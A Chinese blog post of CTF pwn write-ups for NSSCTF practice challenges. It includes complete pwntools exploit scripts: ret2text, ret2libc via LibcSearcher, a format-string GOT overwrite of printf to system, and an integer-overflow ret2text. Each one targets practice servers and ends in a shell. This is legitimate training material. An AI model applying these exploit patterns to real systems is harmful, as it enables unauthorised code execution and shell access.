【WP 0x01?】

发布时间 2023-05-25 19:34:44作者: Lu0

buu的题那个梯度我觉得没啥意思,跑来NSS开刷,放个nss的网站先:

题库 | NSSCTF

虽然水平已经超过了简单的栈题不少了,但是还是从头刷吧,毕竟很享受这种炸鱼和全绿的快感

然后nss上面题的顺序很怪异,我是按照第一个点进去之后下一个题的形式刷的,我也不知道后续看我博客的人是怎么个刷法,所以题名边上我挂个id吧,顺序我也不管了

0x01 nc id389

su开启root权限然后catflag,后面看了下题解还有python绕过的方法,咱也不知道哪个是预期

0x02 gift id390

简单的ret2text,exp写完忘存了..

0x03 whitegive id391

ret2libc,这题searcher不太好使,不知道为什么,很烦人

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
r=remote("node2.anna.nssctf.cn",28101)
#r=process("./nss2")
elf=ELF("./nss3")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def dbg():
    gdb.attach(r)
    pause()

puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
vuln_addr=0x4006ba
rdi_ret=0x400763
payload1=b'a'*0x18+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
r.sendline(payload1)

puts_addr=u64(r.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
print("puts="+hex(puts_addr))

libc=LibcSearcher("puts",puts_addr)
libc_base=puts_addr-libc.dump("puts")
sys_addr=libc_base+libc.dump("system")
binsh_addr=libc_base+0x18ce57

payload2=b'a'*0x18+p64(rdi_ret)+p64(binsh_addr)+p64(sys_addr)
r.sendline(payload2)
r.interactive()

0x04 [CISCN 2019华北]PWN1 id100

简单的覆写,?8想?+

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
r=remote("node1.anna.nssctf.cn",28070)
#r=process("./nss2")
elf=ELF("./nss")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def dbg():
    gdb.attach(r)
    pause()

payload=b'a'*0x2c+p32(0x41348000)
r.sendline(payload)
r.interactive()

0x05 NSS_printer_I id392

什么jb玩意,不够溢出,但是栈上有基址和脏数据可以泄露libc

然后got表劫持,改printf为system输入binsh

我为什么骂呢,因为拿工具写必须得写一个write_size='short',限制逐byte写,不加就写不进去,但是完事之后看别的exp有的也能写,不知道为什么但怀疑可能是2.23libc的事,有点闹心

exp:

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
r=remote("node1.anna.nssctf.cn",28737)
#r=process("./nss2")
elf=ELF("./nss")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def dbg():
    gdb.attach(r)
    pause()

r.recvuntil("say: ")
r.sendline("%21$p-%25$p")
r.recvuntil("said:")
main=int(r.recv(14),16)-240
print("main="+hex(main))
r.recvuntil("-")
base=int(r.recv(14),16)-0xa14
print("base="+hex(base))
printf_got=base+elf.got["printf"]
libc=LibcSearcher("__libc_start_main",main)
libc_base=main-libc.dump("__libc_start_main")
sysaddr=libc_base+libc.dump("system")
binsh_addr=libc_base+libc.dump("str_bin_sh")
payload1=fmtstr_payload(6,{printf_got:sysaddr},write_size='short')
r.sendline(payload1)
r.sendline(b'/bin/sh\x00')
r.interactive()

0x06 [BJDCTF 2020]babystack2.0 id709

跑的时候直接报段错误,甚至连pwntools的elf都出错,8懂

但是题本身就是一个简单的整数溢出,输入一个负数之后下面的无符号转换可以转换出一个巨大的数去ret2text,

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
r=remote("node4.anna.nssctf.cn",28868)
#r=process("./nss2")
#elf=ELF("./nss")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def dbg():
    gdb.attach(r)
    pause()

backdoor=0x400726
r.sendline("-1")
payload=b'a'*0x18+p64(backdoor)
r.sendline(payload)
r.interactive()

0x07 [NISACTF 2022]ReorPwn? id2158

hhhhh这个题确实好玩,不想放解题过程了,确实是repwn

看懂逻辑的估计也不用exp,随便就做出来了,逻辑也不是很难懂,真滴好玩

image

0x08 [BJDCTF 2020]babystack id705

能控制溢出长度的ret2️⃣text

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
r = remote('node4.anna.nssctf.cn',28212)

backdoor = 0x04006EA
payload = b'a' * 0x18 + p64(backdoor)

r.sendlineafter('name:\n','-1')
r.sendlineafter('name?',payload)
r.interactive()

0x09 [BJDCTF 2020]babyrouter id706

进去乍一看一堆case还以为什么堆题,结果看到个system,得

image

疑似拿不了shell,那就cat吧

0x0a [BJDCTF 2020]dizzy id710

什么JB怪题,又是类似于repwn的那么个东西,看懂指针和逻辑,能看出来只经过了一次+114514的加密,但是要通过u32去发送,感觉很怪,查来查去看了一遍也不是很完全懂,贴个exp算了

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
r=remote("node4.anna.nssctf.cn",28013)
#r=process("./nss2")
#elf=ELF("./nss")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def sl(a):
    r.sendline(a)

def rcvtil(a):
    r.recvuntil(a)

def getaddr64():
    u64(r.recvuntil("\x7f"[-6:].ljust(8,b"\x00")))

def getaddr32():
    u32(r.recv(4))

def dbg():
    gdb.attach(r)
    pause()

flag="PvvN| 1S S0 GREAT!;/bin/sh\x00\x00"

for i in range(7):
    a= i * 4
    r.sendline(str(u32(flag[a:a+4])-114514))
for i in range(13):
    r.sendline("2224252424")    
r.interactive()

0x0b [HNCTF 2022 Week1]easync id2928

有丶意思,8是普通的nc题,有点看linux命令的运用了,考虑收编

会用cd和ls就好:

image

先到这,后续刷的题都放在这,遇到什么好题也放在这个合集里面,to be continued

0x0c Yukkurisay(2023hgameweek2)

放这个题之前说个一两句题外话,之前拿hexo搭了一个静态博客,结果不知道为什么崩掉了然后我搬到了博客园,把之前花过一些时间研究的第一道非栈格式化字符串放到这里吧